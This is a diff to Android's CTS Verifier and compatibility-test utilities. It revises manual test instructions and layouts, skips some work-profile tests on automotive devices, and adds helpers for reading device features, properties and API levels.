--- a/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_ringtone_settings.xml
@@ -14,10 +14,14 @@
      limitations under the License.
 -->
 
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="match_parent">
+    android:layout_height="match_parent"
+    style="@style/RootLayoutPadding">
+  <LinearLayout
+      android:layout_width="match_parent"
+      android:layout_height="match_parent"
+      android:orientation="vertical">
     <TextView
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
@@ -78,4 +82,5 @@
         android:text="@string/voicemail_restore_default_dialer_button"/>
 
     <include layout="@layout/pass_fail_buttons"/>
-</LinearLayout>
\ No newline at end of file
+  </LinearLayout>
+</ScrollView>
diff --git a/apps/CtsVerifier/res/values-watch/strings.xml b/apps/CtsVerifier/res/values-watch/strings.xml
index 37ad24f..7fb22e9 100644
--- a/apps/CtsVerifier/res/values-watch/strings.xml
+++ b/apps/CtsVerifier/res/values-watch/strings.xml
@@ -34,4 +34,29 @@
         Pass the test if the device admin could not be activated while the details
         window was being obscured.
     </string>
+
+    <string name="device_owner_network_logging_ui_info">
+        1) Ensure the device has a lock screen enabled.\n
+        2) Enable network logging by tapping on the left button below.\n
+        3) View the lock screen by performing a palm press and then pressing a side button.\n
+        4) Check that an icon appeared at the top of the lock screen. Tap the icon and unlock the device.\n
+        5) Verify that a dialog about device monitoring opens, and informs you about: the name of the app that manages this device, details about the device owner\'s capabilities, and information that the admin can see the most recent network traffic log.\n
+    </string>
+
+    <string name="enterprise_privacy_quick_settings_info">
+        1. Ensure the device has a lock screen enabled.\n
+        2. Lock the device.\n
+        3. Check that an icon appeared at the top of the lock screen. Tap the icon and unlock the device.\n
+        4. Verify that a screen informing you what your managing organization can do is shown.\n
+    </string>
+
+    <string name="enterprise_privacy_keyguard_info">
+        1) Press the Open Settings button to open Settings.\n
+        2) Navigate to \"Personalization\" &gt; \"Screen lock\" and select the first screen lock type that is not \"None\".\n
+        3) Use the Back button to return to this page.\n
+        4) Lock the device.\n
+        5) Verify that an info icon appeared at the top of the lock screen.\n
+        6) Unlock the device.\n
+        7) Repeat steps (1) through (6) for each screen lock type other than \"None\".
+    </string>
 </resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index f71b2c1..3025392 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1162,7 +1162,8 @@
     <string name="mtp_host_grant_permission_message">Grant permission.\nReply a dialog asking device permission.</string>
     <string name="mtp_host_test_read_event_message">Test MtpDevice#readEvent.\nTake a picture at the connected device.</string>
     <string name="mtp_host_test_send_object_message">Test MtpDevice#sendObject.</string>
-    <string name="mtp_host_test_notification_message">Test MTP notification.\nCheck if there is an notification on this device saying the other MTP device is connected to this device. Also check if it opens the UI to browse files in the connected device by tapping the notification.</string>
+    <string name="mtp_host_test_file_browse_message">Test MTP file browsing.\nCheck if the UI to browse files in the connected devices was shown automatically. If not, tap a notification on this device saying the other MTP device is connected. If different application launched, go to the applicaiton settings by clicking the App Settings button, open the detailes settings page of the app, clear the default action settings, and retry. </string>
+    <string name="mtp_app_settings">App Settings</string>
 
     <!-- Strings for the Camera ITS test activity -->
     <string name="camera_its_test">Camera ITS Test</string>
@@ -3131,17 +3132,21 @@
     <string name="enterprise_privacy_default_apps">Default apps</string>
     <string name="enterprise_privacy_default_apps_info">
         Please do the following:\n
-        1) Press the Reset button.\n
-        2) Press the Open Settings button.\n
-        3) In the screen that opens, verify that you are not told that your administrator set any default apps.\n
-        4) Use the Back button to return to this page.\n
-        5) Press the Set Default Apps button.\n
+        1) When a default browser is set, you must clear it by step (2), (3) and (4).\n
+        2) Confirm default browser by "Settings &gt; Apps &amp; notifications &gt; Default apps &gt; Browser app".\n
+        3) Tap default browser app in the "Settings &gt; Apps &amp; notifications &gt; App info".\n
+        4) Tap "Open by default" and Tap "CLEAR DEFAULTS"\n
+        5) Press the Reset button.\n
         6) Press the Open Settings button.\n
-        7) In the screen that opens, verify that you are now told that your administrator has set 7 default apps.\n
-        8) Tap on that information. Verify that a list of default apps shows, with 7 elements in it.\n
-        9) Verify that each element shows the CTS Verifier is the default app.\n
-        10) Use the Back button to return to this page.\n
-        11) Press the Reset button.
+        7) In the screen that opens, verify that you are not told that your administrator set any default apps.\n
+        8) Use the Back button to return to this page.\n
+        9) Press the Set Default Apps button.\n
+        10) Press the Open Settings button.\n
+        11) In the screen that opens, verify that you are now told that your administrator has set 7 default apps.\n
+        12) Tap on that information. Verify that a list of default apps shows, with 7 elements in it.\n
+        13) Verify that each element shows the CTS Verifier is the default app.\n
+        14) Use the Back button to return to this page.\n
+        15) Press the Reset button.
     </string>
     <string name="enterprise_privacy_set_default_apps">Set Default Apps</string>
     <string name="enterprise_privacy_default_ime">Default keyboard</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 3cf3516..15808a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -220,12 +220,27 @@
          * To keep the image in this test up to date, use the instructions in
          * {@link ByodIconSamplerActivity}.
          */
-        mWorkAppVisibleTest = new DialogTestListItemWithIcon(this,
-                R.string.provisioning_byod_workapps_visible,
-                "BYOD_WorkAppVisibleTest",
-                R.string.provisioning_byod_workapps_visible_instruction,
-                new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME),
-                R.drawable.badged_icon);
+
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            mWorkAppVisibleTest = new DialogTestListItemWithIcon(this,
+                    R.string.provisioning_byod_workapps_visible,
+                    "BYOD_WorkAppVisibleTest",
+                    R.string.provisioning_byod_workapps_visible_instruction,
+                    new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME),
+                    R.drawable.badged_icon);
+
+            mConfirmWorkCredentials = new DialogTestListItem(this,
+                    R.string.provisioning_byod_confirm_work_credentials,
+                    "BYOD_ConfirmWorkCredentials",
+                    R.string.provisioning_byod_confirm_work_credentials_description,
+                    new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+
+            mWiFiDataUsageSettingsVisibleTest = new DialogTestListItem(this,
+                    R.string.provisioning_byod_wifi_data_usage_settings,
+                    "BYOD_WiFiDataUsageSettingsVisibleTest",
+                    R.string.provisioning_byod_wifi_data_usage_settings_instruction,
+                    new Intent(Settings.ACTION_SETTINGS));
+        }
 
         mWorkNotificationBadgedTest = new DialogTestListItemWithIcon(this,
                 R.string.provisioning_byod_work_notification,
@@ -295,12 +310,6 @@
                 R.string.provisioning_byod_location_settings_instruction,
                 new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS));
 
-        mWiFiDataUsageSettingsVisibleTest = new DialogTestListItem(this,
-                R.string.provisioning_byod_wifi_data_usage_settings,
-                "BYOD_WiFiDataUsageSettingsVisibleTest",
-                R.string.provisioning_byod_wifi_data_usage_settings_instruction,
-                new Intent(Settings.ACTION_SETTINGS));
-
         mCellularDataUsageSettingsVisibleTest = new DialogTestListItem(this,
                 R.string.provisioning_byod_cellular_data_usage_settings,
                 "BYOD_CellularDataUsageSettingsVisibleTest",
@@ -394,12 +403,6 @@
                 R.string.provisioning_byod_select_work_challenge_description,
                 new Intent(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE));
 
-        mConfirmWorkCredentials = new DialogTestListItem(this,
-                R.string.provisioning_byod_confirm_work_credentials,
-                "BYOD_ConfirmWorkCredentials",
-                R.string.provisioning_byod_confirm_work_credentials_description,
-                new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
-
         mRecentsTest = TestListItem.newTest(this,
                 R.string.provisioning_byod_recents,
                 RecentsRedactionActivity.class.getName(),
@@ -434,7 +437,10 @@
         adapter.add(mDiskEncryptionTest);
 
         // Badge related tests
-        adapter.add(mWorkAppVisibleTest);
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(mWorkAppVisibleTest);
+        }
+
         adapter.add(mWorkNotificationBadgedTest);
         adapter.add(mWorkStatusBarIconTest);
         adapter.add(mWorkStatusBarToastTest);
@@ -462,14 +468,18 @@
         adapter.add(mAlwaysOnVpnSettingsTest);
         adapter.add(mTurnOffWorkFeaturesTest);
         adapter.add(mSelectWorkChallenge);
-        adapter.add(mConfirmWorkCredentials);
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(mConfirmWorkCredentials);
+        }
         adapter.add(mRecentsTest);
         adapter.add(mOrganizationInfoTest);
         adapter.add(mParentProfilePassword);
         adapter.add(mPolicyTransparencyTest);
 
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            adapter.add(mWiFiDataUsageSettingsVisibleTest);
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+                adapter.add(mWiFiDataUsageSettingsVisibleTest);
+            }
         }
 
         mCm = (ConnectivityManager)getSystemService(Context.CONNECTIVITY_SERVICE);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
index 719f1db..f855b56 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/TurnOffWorkActivity.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.hardware.fingerprint.FingerprintManager;
 import android.os.Bundle;
 import android.provider.Settings;
@@ -124,10 +125,12 @@
                 R.string.provisioning_byod_turn_off_work_icon_instruction,
                 new Intent(Settings.ACTION_SETTINGS)));
 
-        adapter.add(new DialogTestListItem(this, R.string.provisioning_byod_turn_off_work_launcher,
-                "BYOD_TurnOffWorkStartApps",
-                R.string.provisioning_byod_turn_off_work_launcher_instruction,
-                homeIntent));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(new DialogTestListItem(this, R.string.provisioning_byod_turn_off_work_launcher,
+                    "BYOD_TurnOffWorkStartApps",
+                    R.string.provisioning_byod_turn_off_work_launcher_instruction,
+                    homeIntent));
+        }
 
         mTurnOnWorkTest = new DialogTestListItem(this,
                 R.string.provisioning_byod_turn_off_work_turned_on,
@@ -146,9 +149,11 @@
                 R.string.provisioning_byod_turn_on_work_icon_instruction,
                 new Intent(Settings.ACTION_SETTINGS)));
 
-        adapter.add(new DialogTestListItem(this, R.string.provisioning_byod_turn_on_work_launcher,
-                "BYOD_TurnOnWorkStartApps",
-                R.string.provisioning_byod_turn_on_work_launcher_instruction,
-                homeIntent));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(new DialogTestListItem(this, R.string.provisioning_byod_turn_on_work_launcher,
+                    "BYOD_TurnOnWorkStartApps",
+                    R.string.provisioning_byod_turn_on_work_launcher_instruction,
+                    homeIntent));
+        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
index 7cfa040..6a1ce2c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -314,7 +314,8 @@
         void setUp() {
             mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
             NotificationManager.Policy policy = mNm.getNotificationPolicy();
-            policy = new NotificationManager.Policy(policy.priorityCategories,
+            policy = new NotificationManager.Policy(policy.priorityCategories
+                    | NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
                     policy.priorityCallSenders,
                     NotificationManager.Policy.PRIORITY_SENDERS_STARRED);
             mNm.setNotificationPolicy(policy);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
index e0538f5..fa42d82 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -41,6 +41,7 @@
 import android.os.Message;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.provider.Settings;
 import android.util.MutableInt;
 import android.view.LayoutInflater;
 import android.view.View;
@@ -135,6 +136,10 @@
                 new int[] { R.id.next_item_button }));
         mItems.add(new TestItem(
                 inflater,
+                R.string.mtp_host_test_file_browse_message,
+                new int[] { R.id.settings_button, R.id.pass_item_button, R.id.fail_item_button }));
+        mItems.add(new TestItem(
+                inflater,
                 R.string.mtp_host_grant_permission_message,
                 null));
         mItems.add(new TestItem(
@@ -145,10 +150,6 @@
                 inflater,
                 R.string.mtp_host_test_send_object_message,
                 null));
-        mItems.add(new TestItem(
-                inflater,
-                R.string.mtp_host_test_notification_message,
-                new int[] { R.id.pass_item_button, R.id.fail_item_button }));
         for (final TestItem item : mItems) {
             itemsView.addView(item.view);
         }
@@ -186,12 +187,23 @@
                     @Override
                     public void run() {
                         try {
-                            int i = mCurrentStep;
-                            if (i-- == 0) stepFindMtpDevice();
-                            if (i-- == 0) stepGrantPermission();
-                            if (i-- == 0) stepTestReadEvent();
-                            if (i-- == 0) stepTestSendObject();
-                            if (i-- == 0) stepTestNotification();
+                            switch (mCurrentStep) {
+                                case 0:
+                                    stepFindMtpDevice();
+                                    break;
+                                case 1:
+                                    stepTestFileBrowse();
+                                    break;
+                                case 2:
+                                    stepGrantPermission();
+                                    break;
+                                case 3:
+                                    stepTestReadEvent();
+                                    break;
+                                case 4:
+                                    stepTestSendObject();
+                                    break;
+                            }
                             mHandler.sendEmptyMessage(MESSAGE_PASS);
                         } catch (Exception | AssertionFailedError exception) {
                             mHandler.sendMessage(mHandler.obtainMessage(MESSAGE_FAIL, exception));
@@ -330,8 +342,16 @@
         }
     }
 
-    private void stepTestNotification() throws InterruptedException {
-        assertEquals(R.id.pass_item_button, waitForButtonClick());
+    private void stepTestFileBrowse() throws InterruptedException {
+        while (true) {
+            final int id = waitForButtonClick();
+            if (id == R.id.settings_button) {
+                startActivity(new Intent(Settings.ACTION_APPLICATION_SETTINGS));
+                continue;
+            }
+            assertEquals(R.id.pass_item_button, waitForButtonClick());
+            break;
+        }
     }
 
     private int waitForButtonClick() throws InterruptedException {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index d8b0c6f..bcd4fc0 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -23,6 +23,7 @@
 import org.junit.Rule;
 import org.junit.rules.TestName;
 
+import android.app.Instrumentation;
 import android.content.Context;
 import android.support.test.InstrumentationRegistry;
 import android.util.Log;
@@ -66,8 +67,12 @@
         }
     }
 
-    private Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    protected static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    protected static Context getContext() {
+        return getInstrumentation().getTargetContext();
     }
 
     public static void skipTest(String message) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
index 3e55643..891b972 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -24,6 +24,11 @@
  */
 public class FeatureUtil {
 
+    public static final String LEANBACK_FEATURE = "android.software.leanback";
+    public static final String TV_FEATURE = "android.hardware.type.television";
+    public static final String WATCH_FEATURE = "android.hardware.type.watch";
+
+
     /** Returns true if the device has a given system feature */
     public static boolean hasSystemFeature(String feature) {
         return getPackageManager().hasSystemFeature(feature);
@@ -61,6 +66,16 @@
         return true;
     }
 
+    /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
+    public static boolean isTV() {
+        return hasAnySystemFeature(TV_FEATURE, LEANBACK_FEATURE);
+    }
+
+    /** Returns true if the device has feature WATCH_FEATURE */
+    public static boolean isWatch() {
+        return hasSystemFeature(WATCH_FEATURE);
+    }
+
     /** Returns true if the device lacks all features in a given collection of system features */
     public static boolean lacksAllSystemFeatures(String... features) {
         return !hasAnySystemFeature(features);
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index ededfee..79e9a12 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -52,23 +52,48 @@
         return (firstApiLevel == INT_VALUE_IF_UNSET) ? Build.VERSION.SDK_INT : firstApiLevel;
     }
 
+    /** Returns whether the property exists on this device */
+    public static boolean propertyExists(String property) {
+        return getProperty(property) != null;
+    }
+
+    /** Returns whether the property value is equal to a given string */
+    public static boolean propertyEquals(String property, String value) {
+        if (value == null) {
+            return !propertyExists(property); // null value implies property does not exist
+        }
+        return value.equals(getProperty(property));
+    }
+
     /**
      * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
      */
     public static int getPropertyInt(String property) {
+        String value = getProperty(property);
+        if (value == null) {
+            return INT_VALUE_IF_UNSET;
+        }
+        try {
+            return Integer.parseInt(value);
+        } catch (NumberFormatException e) {
+            return INT_VALUE_IF_UNSET;
+        }
+    }
+
+    /** Retrieves the desired property value in string form */
+    public static String getProperty(String property) {
         Scanner scanner = null;
-        int val = INT_VALUE_IF_UNSET;
         try {
             Process process = new ProcessBuilder("getprop", property).start();
             scanner = new Scanner(process.getInputStream());
-            val = Integer.parseInt(scanner.nextLine().trim());
-        } catch (IOException | NumberFormatException e) {
-            return val = INT_VALUE_IF_UNSET;
+            String value = scanner.nextLine().trim();
+            return (value.isEmpty()) ? null : value;
+        } catch (IOException e) {
+            return null;
         } finally {
             if (scanner != null) {
                 scanner.close();
             }
         }
-        return val;
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 1ceb345..2e3a6dd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -220,6 +220,18 @@
     }
 
     /**
+     * @return a {@link File} representing the directory to store screenshots taken while testing.
+     * @throws FileNotFoundException if the directory structure is not valid.
+     */
+    public File getScreenshotsDir() throws FileNotFoundException {
+        File screenshotsDir = new File(getResultDir(), "screenshots");
+        if (!screenshotsDir.exists()) {
+            screenshotsDir.mkdirs();
+        }
+        return screenshotsDir;
+    }
+
+    /**
      * @return a {@link File} representing the test modules directory.
      * @throws FileNotFoundException if the directory structure is not valid.
      */
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java
index 7ea48c2..05bb939 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/ReportLogCollector.java
@@ -45,6 +45,9 @@
     @Option(name = "temp-dir", description = "The temp directory containing host-side report logs")
     private String mTempReportFolder;
 
+    @Option(name = "device-dir", description = "Create unique directory for each device")
+    private boolean mDeviceDir;
+
     public ReportLogCollector() {
     }
 
@@ -85,7 +88,12 @@
                 CLog.e("%s is not a directory", resultDir.getAbsolutePath());
                 return;
             }
-            final File hostReportDir = FileUtil.createNamedTempDir(mTempReportFolder);
+            String tmpDirName = mTempReportFolder;
+            if (mDeviceDir) {
+                tmpDirName = tmpDirName.replaceAll("/$", "");
+                tmpDirName += "-" + device.getSerialNumber();
+            }
+            final File hostReportDir = FileUtil.createNamedTempDir(tmpDirName);
             if (!hostReportDir.isDirectory()) {
                 CLog.e("%s is not a directory", hostReportDir.getAbsolutePath());
                 return;
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
index 7d5ab12..6bd0fc2 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
@@ -15,6 +15,9 @@
  */
 package com.android.compatibility.common.tradefed.testtype;
 
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.rules.TestName;
@@ -64,4 +67,12 @@
             mBusinessLogic.applyLogicFor(testName, executor);
         }
     }
+
+    public static void skipTest(String message) {
+        assumeTrue(message, false);
+    }
+
+    public static void failTest(String message) {
+        fail(message);
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
index dc8485d..65203dd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
@@ -149,14 +149,17 @@
         HashMap<String, List<String>> jsonMap = new HashMap<>();
         Pattern p = Pattern.compile(TEST_METRICS_PATTERN);
         Matcher m = p.matcher(jsonString);
-        while (m.find()) {
+        if (!m.find()) {
+            return jsonString;
+        }
+        do {
             String key = m.group(1);
             String value = m.group(2);
             if (!jsonMap.containsKey(key)) {
                 jsonMap.put(key, new ArrayList<String>());
             }
             jsonMap.get(key).add(value);
-        }
+        } while (m.find());
         // Rewrite json string as arrays.
         newJsonBuilder.append("{");
         boolean firstLine = true;
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 38158b4..19f54da 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -18,6 +18,8 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 
+import java.lang.reflect.Field;
+
 /**
  * Device-side compatibility utility class for reading device API level.
  */
@@ -30,21 +32,41 @@
         return device.getApiLevel() < version;
     }
 
+    public static boolean isBefore(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() < resolveVersionString(version);
+    }
+
     public static boolean isAfter(ITestDevice device, int version)
             throws DeviceNotAvailableException {
         return device.getApiLevel() > version;
     }
 
+    public static boolean isAfter(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() > resolveVersionString(version);
+    }
+
     public static boolean isAtLeast(ITestDevice device, int version)
             throws DeviceNotAvailableException {
         return device.getApiLevel() >= version;
     }
 
+    public static boolean isAtLeast(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() >= resolveVersionString(version);
+    }
+
     public static boolean isAtMost(ITestDevice device, int version)
             throws DeviceNotAvailableException {
         return device.getApiLevel() <= version;
     }
 
+    public static boolean isAtMost(ITestDevice device, String version)
+            throws DeviceNotAvailableException {
+        return device.getApiLevel() <= resolveVersionString(version);
+    }
+
     public static int getApiLevel(ITestDevice device) throws DeviceNotAvailableException {
         return device.getApiLevel();
     }
@@ -63,4 +85,19 @@
             throws DeviceNotAvailableException {
         return device.getProperty(CODENAME);
     }
+
+    protected static int resolveVersionString(String versionString) {
+        try {
+            return Integer.parseInt(versionString); // e.g. "24" for M
+        } catch (NumberFormatException e1) {
+            try {
+                Field versionField = VersionCodes.class.getField(
+                        versionString.toUpperCase());
+                return versionField.getInt(null); // no instance for VERSION_CODES, use null
+            } catch (IllegalAccessException | NoSuchFieldException e2) {
+                throw new RuntimeException(
+                        String.format("Failed to parse version string %s", versionString), e2);
+            }
+        }
+    }
 }
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
new file mode 100644
index 0000000..11eecfd
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+/**
+ * Host-side utility class for detecting system features
+ */
+public class FeatureUtil {
+
+    public static final String LEANBACK_FEATURE = "android.software.leanback";
+    public static final String TV_FEATURE = "android.hardware.type.television";
+    public static final String WATCH_FEATURE = "android.hardware.type.watch";
+
+    /** Returns true if the device has a given system feature */
+    public static boolean hasSystemFeature(ITestDevice device, String feature)
+            throws DeviceNotAvailableException {
+        return device.hasFeature(feature);
+    }
+
+    /** Returns true if the device has any feature in a given collection of system features */
+    public static boolean hasAnySystemFeature(ITestDevice device, String... features)
+            throws DeviceNotAvailableException {
+        for (String feature : features) {
+            if (device.hasFeature(feature)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Returns true if the device has all features in a given collection of system features */
+    public static boolean hasAllSystemFeatures(ITestDevice device, String... features)
+            throws DeviceNotAvailableException {
+        for (String feature : features) {
+            if (!device.hasFeature(feature)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
+    public static boolean isTV(ITestDevice device) throws DeviceNotAvailableException {
+        return hasAnySystemFeature(device, TV_FEATURE, LEANBACK_FEATURE);
+    }
+
+    /** Returns true if the device has feature WATCH_FEATURE */
+    public static boolean isWatch(ITestDevice device) throws DeviceNotAvailableException {
+        return hasSystemFeature(device, WATCH_FEATURE);
+    }
+
+
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java b/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java
index 5ea9928..c45972d 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/MetricsReportLog.java
@@ -32,7 +32,7 @@
 
     // Temporary folder must match the temp-dir value configured in ReportLogCollector target
     // preparer in cts/tools/cts-tradefed/res/config/cts-oreconditions.xml
-    private static final String TEMPORARY_REPORT_FOLDER = "temp-report-logs/";
+    private static final String TEMPORARY_REPORT_FOLDER = "temp-report-logs";
     private ReportLogHostInfoStore store;
 
     /**
@@ -45,12 +45,30 @@
      */
     public MetricsReportLog(IBuildInfo buildInfo, String abi, String classMethodName,
             String reportLogName, String streamName) {
+        this(buildInfo, abi, classMethodName, reportLogName, streamName, false);
+    }
+
+    /**
+     * @param buildInfo the test build info.
+     * @param abi abi the test was run on.
+     * @param classMethodName class name and method name of the test in class#method format.
+     *        Note that ReportLog.getClassMethodNames() provide this.
+     * @param reportLogName the name of the report log file. Metrics will be written out to this.
+     * @param streamName the key for the JSON object of the set of metrics to be logged.
+     * @param deviceDir whether to create unique directory for each device
+     */
+    public MetricsReportLog(IBuildInfo buildInfo, String abi, String classMethodName,
+            String reportLogName, String streamName, boolean deviceDir) {
         super(reportLogName, streamName);
         mBuildInfo = buildInfo;
         mAbi = abi;
         mClassMethodName = classMethodName;
         try {
-            final File dir = FileUtil.createNamedTempDir(TEMPORARY_REPORT_FOLDER);
+            String tmpDirName = TEMPORARY_REPORT_FOLDER;
+            if (deviceDir) {
+                tmpDirName += "-" + buildInfo.getDeviceSerial();
+            }
+            final File dir = FileUtil.createNamedTempDir(tmpDirName);
             File jsonFile = new File(dir, mReportLogName + ".reportlog.json");
             store = new ReportLogHostInfoStore(jsonFile, mStreamName);
             store.open();
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index 2cdcc23..dadd0d2 100644
